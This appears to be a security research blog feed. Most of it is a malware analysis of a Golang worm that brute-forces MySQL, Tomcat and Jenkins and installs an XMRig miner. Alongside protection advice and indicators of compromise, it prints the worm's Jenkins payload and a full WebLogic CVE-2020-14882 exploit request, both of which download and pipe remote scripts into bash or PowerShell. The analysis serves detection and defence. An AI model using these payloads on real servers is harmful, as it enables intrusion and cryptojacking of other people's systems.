&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;398e3608455dbea2cba8e9944d9b43cbb0982b48b2882fe54adf937a7a62d9e2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Domains Used to Download the Malware&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;img[.]sobot.com
cdn[.]xiaoduoai.com
https://user-images[.]githubusercontent.com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Domains Used for Resolving the C2 Address&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;update.iap5u1rbety6vifaxsi9vovnc9jjay2l[.]com
cloudflare-dns[.]com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Early Bird Catches the Worm: New Golang Worm Drops XMRig Miner on Servers</title><link>https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/</link><pubDate>Tue, 29 Dec 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/</guid><description>
&lt;p&gt;In early December, we discovered a new, undetected worm written in Golang. This
worm continues the popular
&lt;a href="https://intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/?utm_campaign=research-blog&amp;amp;utm_content=new-golang-worm-drops-xmrig-miner-on-servers&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;2020 trend&lt;/a&gt;
of multi-platform malware developed in Golang.&lt;/p&gt;
&lt;p&gt;The worm attempts to spread across the network in order to run XMRig Miner on a
large scale. The malware targets both Windows and Linux servers and can easily
maneuver from one platform to the other. It targets public facing services;
MySQL, Tomcat admin panel and Jenkins that have weak passwords. In an older
version, the worm has also attempted to exploit WebLogic’s latest
vulnerability: CVE-2020-14882.&lt;/p&gt;
&lt;p&gt;During our analysis, the attacker kept updating the worm on the Command and
Control (C&amp;amp;C) server, indicating that it’s active and might be targeting
additional weak configured services in future updates.&lt;/p&gt;
&lt;h2&gt;Technical Analysis of New Golang Worm&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-new-golang-worm"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-new-golang-worm" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The attack uses three files: a dropper script (bash or powershell), a Golang
binary worm, and an XMRig Miner—all of which are hosted on the same C&amp;amp;C.&lt;/p&gt;
&lt;p&gt;The ELF worm binary and the bash dropper script are both fully undetected in
VirusTotal at the time of this publication. Figure 1 shows the ELF worm binary
result in VirusTotal.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig1.png" title="Figure 1: ELF file fully undetected in VirusTotal (ead2cf8ab7aef63706b40eb57d668d0a)" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: ELF file fully undetected in VirusTotal (ead2cf8ab7aef63706b40eb57d668d0a)&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware behaves similarly on both Linux and Windows operating systems. We
will describe the Linux worm flow below.&lt;/p&gt;
&lt;h3&gt;Linux Worm Attack Flow&lt;span class="hx:absolute hx:-mt-20" id="linux-worm-attack-flow"&gt;&lt;/span&gt;
&lt;a href="#linux-worm-attack-flow" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Upon execution, the worm checks if a process on the infected machine is
listening on port 52013. The existence of a listener on this port functions as
a mutex for the malware. If a socket for the port is already open, the instance
exits, otherwise it opens a network socket on the port.&lt;/p&gt;
&lt;p&gt;In the older version, the worm will then unpack the XMRig Miner as Network01 to
the tmp folder and run it. The miner is embedded within the Golang binary using
a
&lt;a href="https://go.libhunt.com/categories/538-resource-embedding"target="_blank" rel="noopener"&gt;Go resource embedding package&lt;/a&gt;
called &lt;a href="https://github.com/go-bindata/go-bindata"target="_blank" rel="noopener"&gt;go-bindata&lt;/a&gt;. The bindataFile
functions are used by the malware to unpack the embedded XMRig Miner binary.
Figure 2 shows the function inside this file.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig2.png" title="Figure 2: xmrig_linux_amd64.go file" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: xmrig_linux_amd64.go file&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware will scan the network using TCP SYN in order to find services it
can brute force and spread over the network. It will scan for IPs that have
open ports related to these services: 8080 for Tomcat and Jenkins, 3306 for
MySQL and 7001 for WebLogic on older versions of the worm. Each of these
exploits has a package under the src “exp” (exploit) code.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig3.png" title="Figure 3: “exp” package files and functions" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: “exp” package files and functions&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The worm uses the &lt;a href="https://github.com/google/gopacket"target="_blank" rel="noopener"&gt;gopacket&lt;/a&gt; library that
provides C bindings for Go to use libpcap to read network packets. By running
pcapc, the worm gathers network data which is used to gather ACKS and continue
to brute force the services. Figure 4 shows the worm’s output for brute force
and exploitation attempts on Tomcat and MySQL services.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig4.png" title="Figure 4: Snippet from worm output" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: Snippet from worm output&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Post exploitation, the malware will deliver a loader script: ld.sh for Linux
and ld.ps1 for Windows. The loader is responsible for dropping and running the
XMRig Miner and the Golang worm on the exploited service. See loader scripts in
Figures 5 and 6.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig5.png" title="Figure 5: ldr.sh – Dropper bash script for Linux-based services" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: ldr.sh – Dropper bash script for Linux-based services&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig6.png" title="Figure 6: ldr.ps1 script – Dropper powershell script for Windows-based services" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: ldr.ps1 script – Dropper powershell script for Windows-based services&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Exploit Flow&lt;span class="hx:absolute hx:-mt-20" id="exploit-flow"&gt;&lt;/span&gt;
&lt;a href="#exploit-flow" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The following describes the attack flow for each service.&lt;/p&gt;
&lt;h4&gt;MySql: Port 3306&lt;span class="hx:absolute hx:-mt-20" id="mysql-port-3306"&gt;&lt;/span&gt;
&lt;a href="#mysql-port-3306" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The malware will run a credential spraying brute force attack. The malware uses
a hardcoded dictionary of weak credentials, such as &lt;code&gt;root:123456&lt;/code&gt;, for this
attack.&lt;/p&gt;
&lt;p&gt;After a successful login, it will run a shellcode to gain a local privilege
escalation using mysql UDF. The exploits are embedded within the binary as a
hex string. The worm has an exploit for each operating system and architecture
(UDFLINUX32, UDFLINUX64, UDFLWIN32 and UDFWIN64). Browse
&lt;a href="https://www.exploit-db.com/docs/english/44139-mysql-udf-exploitation.pdf?rss"target="_blank" rel="noopener"&gt;here&lt;/a&gt;
for more information about the exploit.&lt;/p&gt;
&lt;p&gt;After running the exploit, the payload will use the sys_exec command to drop
and run the loader script. URLWIN and URLLINUX store the dropper script URL.
Figures 7 and 8 show the described payload for each operating system.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig7.png" title="Figure 7: MySQL queries – Linux payload" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: MySQL queries – Linux payload&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig8.png" title="Figure 8: MySQL queries – Windows payload" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 8: MySQL queries – Windows payload&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;Tomcat: Port 8080&lt;span class="hx:absolute hx:-mt-20" id="tomcat-port-8080"&gt;&lt;/span&gt;
&lt;a href="#tomcat-port-8080" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The malware will run credential spraying on the admin panel using basic
authentication.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig9.png" title="Figure 9: Example of an authentication request to the Tomcat admin panel" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 9: Example of an authentication request to the Tomcat admin panel&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Upon a successful trial, the malware will attempt to deploy a WAR file (Web
Application Resource), which will be used to transfer the 1.jsp file containing
the malicious payload.&lt;/p&gt;
&lt;p&gt;The malware will send Get requests and will parse the parameters with the jsp
file: &lt;code&gt;%s/1.jsp?win=%s&amp;amp;linux=%s&lt;/code&gt;. These parameters will contain the dropper
script URL. The jsp script will then drop and run the loaders.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig10.png" title="Figure 10: 1.jsp file script" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 10: 1.jsp file script&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;Jenkins: Port 8080&lt;span class="hx:absolute hx:-mt-20" id="jenkins-port-8080"&gt;&lt;/span&gt;
&lt;a href="#jenkins-port-8080" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Similar to previous exploits, the malware will brute force Jenkins login with
password spraying and run the following payload:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(&amp;#39;%s&amp;#39;)!bash@-c@(curl -fsSL %s || wget -q -O - %s) | bash
println &amp;#34;%s&amp;#34;&amp;#43;&amp;#34;%s&amp;#34;;def s=new String(Base64.getDecoder().decode(&amp;#34;%s&amp;#34;&amp;#43;&amp;#34;%s&amp;#34;.reverse())).split(&amp;#34;!&amp;#34;);def c=System.getProperty(&amp;#34;os.name&amp;#34;).contains(&amp;#34;indo&amp;#34;)?s[0].split(&amp;#34;@&amp;#34;):s[1].split(&amp;#34;@&amp;#34;);c.execute()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;WebLogic: Port 7001&lt;span class="hx:absolute hx:-mt-20" id="weblogic-port-7001"&gt;&lt;/span&gt;
&lt;a href="#weblogic-port-7001" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;In the older version, the malware uses the latest WebLogic remote code
execution exploit CVE-2020-14882. It will send a get request to the WebLogic
service, and use the GET request headers as part of the payload.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;GET
/console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(&amp;#39;weblogic.work.ExecuteThread
%%20currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.
WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20
field=adapter.getClass().getDeclaredField(&amp;#34;connectionHandler&amp;#34;);field.setAccessible
(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI
mpl%%20req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod
(&amp;#34;getServletRequest&amp;#34;).invoke(obj);String%%20cmd=req.getHeader(&amp;#34;cmd&amp;#34;);String[]%%
20cmds=System.getProperty(&amp;#34;os.name&amp;#34;).toLowerCase().contains(&amp;#34;win&amp;#34;)?new%%20String[]{&amp;#34;cmd.exe&amp;#34;,&amp;#34;/c&amp;#34;,req.getHeader(&amp;#34;win&amp;#34;)}:new%%20String[]{&amp;#34;/bin/sh&amp;#34;,&amp;#34;c&amp;#34;,req.getHeader
(&amp;#34;linux&amp;#34;)};if(cmd!=null{String%%20result=new%%20java.util.Scanner(new%%20java.lang
.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(&amp;#34;%%5C%%5CA&amp;#34;).next();
weblogic.servlet.internal.ServletResponseImpl%%20res(weblogic.servlet.internal.
ServletResponseImpl)req.getClass().getMethod(&amp;#34;getResponse&amp;#34;).invoke(req);work.
getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream
(result));work.getServletOutputStream().flush
();}currentThread.interrupt();&amp;#39;) HTTP/1.0
Host: %s:%d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml&amp;#43;xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: close
cmd: ls
linux: ( (curl -fsSL %s || wget -q -O - %s) | bash&amp;amp; )
win: start powershell iex(New-Object Net.WebClient).DownloadString(&amp;#39;%s&amp;#39;)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;How Do I Protect Myself?&lt;span class="hx:absolute hx:-mt-20" id="how-do-i-protect-myself"&gt;&lt;/span&gt;
&lt;a href="#how-do-i-protect-myself" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Take the following precautions in order to avoid brute force attacks and
vulnerability exploits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use complex passwords, limit login attempts and use 2FA (Two-Factor
Authentication) if possible.&lt;/li&gt;
&lt;li&gt;Minimize your use of publicly facing services.&lt;/li&gt;
&lt;li&gt;Keep your software updated with the latest security patches.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Summary of Golang Malware&lt;span class="hx:absolute hx:-mt-20" id="summary-of-golang-malware"&gt;&lt;/span&gt;
&lt;a href="#summary-of-golang-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In 2020, we saw a noticeable trend of Golang malware targeting different
platforms, including Windows, Linux, Mac and
&lt;a href="https://intezer.com/blog/malware-analysis/now-supporting-genetic-malware-analysis-for-android-applications/?utm_campaign=research-blog&amp;amp;utm_content=new-golang-worm-drops-xmrig-miner-on-servers&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Android&lt;/a&gt;.
We assess with high confidence that this will continue in 2021.&lt;/p&gt;
&lt;p&gt;The fact that the worm’s code is nearly identical for both its PE and ELF
malware—and the ELF malware going undetected in VirusTotal—demonstrates that
Linux threats are still flying under the radar for most security and detection
platforms.&lt;/p&gt;
&lt;p&gt;Both PE and ELF worms are now classified as XMRig Miner Dropper in
&lt;a href="http://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=new-golang-worm-drops-xmrig-miner-on-servers&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Intezer Analyze&lt;/a&gt;, which means you can detect and
classify any variants that are genetically similar.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Special thanks to Joakim Kennedy for his contribution to this research.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;C&amp;amp;C&lt;span class="hx:absolute hx:-mt-20" id="cc"&gt;&lt;/span&gt;
&lt;a href="#cc" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;185[.]239[.]242[.]71&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Linux&lt;span class="hx:absolute hx:-mt-20" id="linux"&gt;&lt;/span&gt;
&lt;a href="#linux" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;File name&lt;/th&gt;
&lt;th&gt;File type&lt;/th&gt;
&lt;th&gt;MD5&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dropper script&lt;/td&gt;
&lt;td&gt;ldr.sh&lt;/td&gt;
&lt;td&gt;Bash script&lt;/td&gt;
&lt;td&gt;236d7925cfafc1f643babdb8e48966bf&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv&lt;/td&gt;
&lt;td&gt;64bit ELF binary&lt;/td&gt;
&lt;td&gt;UPX packed – ead2cf8ab7aef63706b40eb57d668d0a&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv&lt;/td&gt;
&lt;td&gt;64bit ELF binary&lt;/td&gt;
&lt;td&gt;Unpacked – 750644690e51db9f695b542b463164b9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv&lt;/td&gt;
&lt;td&gt;64bit ELF binary&lt;/td&gt;
&lt;td&gt;UPX packed – f4c90b41126fc17848bd0d131288bd36&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv&lt;/td&gt;
&lt;td&gt;64bit ELF binary&lt;/td&gt;
&lt;td&gt;Unpacked – D8499b7b2e2aeb76387668306e982673&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv&lt;/td&gt;
&lt;td&gt;64bit ELF binary&lt;/td&gt;
&lt;td&gt;UPX packed – 301a0a58dd98ecbbe12c6acbd0c7bbdc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv&lt;/td&gt;
&lt;td&gt;64bit ELF binary&lt;/td&gt;
&lt;td&gt;Unpacked – f5859e81ff49dd66e501ec7c0f39c83e&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Miner&lt;/td&gt;
&lt;td&gt;xmr32&lt;/td&gt;
&lt;td&gt;32bit ELF binary&lt;/td&gt;
&lt;td&gt;9c2aa65235a939b2811f281a45ecdab0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Miner&lt;/td&gt;
&lt;td&gt;xmr64&lt;/td&gt;
&lt;td&gt;64bit ELF binary&lt;/td&gt;
&lt;td&gt;078b2a96f45b493e82b44f8c5344e7e5&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Windows&lt;span class="hx:absolute hx:-mt-20" id="windows"&gt;&lt;/span&gt;
&lt;a href="#windows" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;File name&lt;/th&gt;
&lt;th&gt;File type&lt;/th&gt;
&lt;th&gt;MD5&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dropper script&lt;/td&gt;
&lt;td&gt;ldr.ps1&lt;/td&gt;
&lt;td&gt;PowerShell script&lt;/td&gt;
&lt;td&gt;d708a5394e9448ab38201264df423c0a&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv.exe&lt;/td&gt;
&lt;td&gt;32bit PE binary&lt;/td&gt;
&lt;td&gt;UPX packed – 030231d96234f06ae09ca18d621241e5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv.exe&lt;/td&gt;
&lt;td&gt;32bit PE binary&lt;/td&gt;
&lt;td&gt;Unpacked – 14f57bd246cc1db3131cab421fbc8dac&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv.exe&lt;/td&gt;
&lt;td&gt;32bit PE binary&lt;/td&gt;
&lt;td&gt;UPX packed – 642d73c85e6e79720a5ae7b82fc427c5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv.exe&lt;/td&gt;
&lt;td&gt;32bit PE binary&lt;/td&gt;
&lt;td&gt;Unpacked – b1a4ec25e168156aeee8184b05777b1b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Miner&lt;/td&gt;
&lt;td&gt;xmr32.exe&lt;/td&gt;
&lt;td&gt;32bit PE binary&lt;/td&gt;
&lt;td&gt;97d89d25e9589f995d374cb7d89b4433&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Miner&lt;/td&gt;
&lt;td&gt;xmr64.exe&lt;/td&gt;
&lt;td&gt;64bit PE binary&lt;/td&gt;
&lt;td&gt;569fcf95f3889cefd87c1b425fa37b03&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;JSP&lt;span class="hx:absolute hx:-mt-20" id="jsp"&gt;&lt;/span&gt;
&lt;a href="#jsp" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;File name&lt;/th&gt;
&lt;th&gt;File type&lt;/th&gt;
&lt;th&gt;MD5&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;1.jsp&lt;/td&gt;
&lt;td&gt;Java Server Page&lt;/td&gt;
&lt;td&gt;644f20b5a6e03aa054ba62d32f983adc&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>Stantinko's Proxy After Your Apache Server</title><link>https://research.intezer.com/blog/2020/11/stantinkos-proxy-after-your-apache-server/</link><pubDate>Tue, 24 Nov 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/11/stantinkos-proxy-after-your-apache-server/</guid><description>
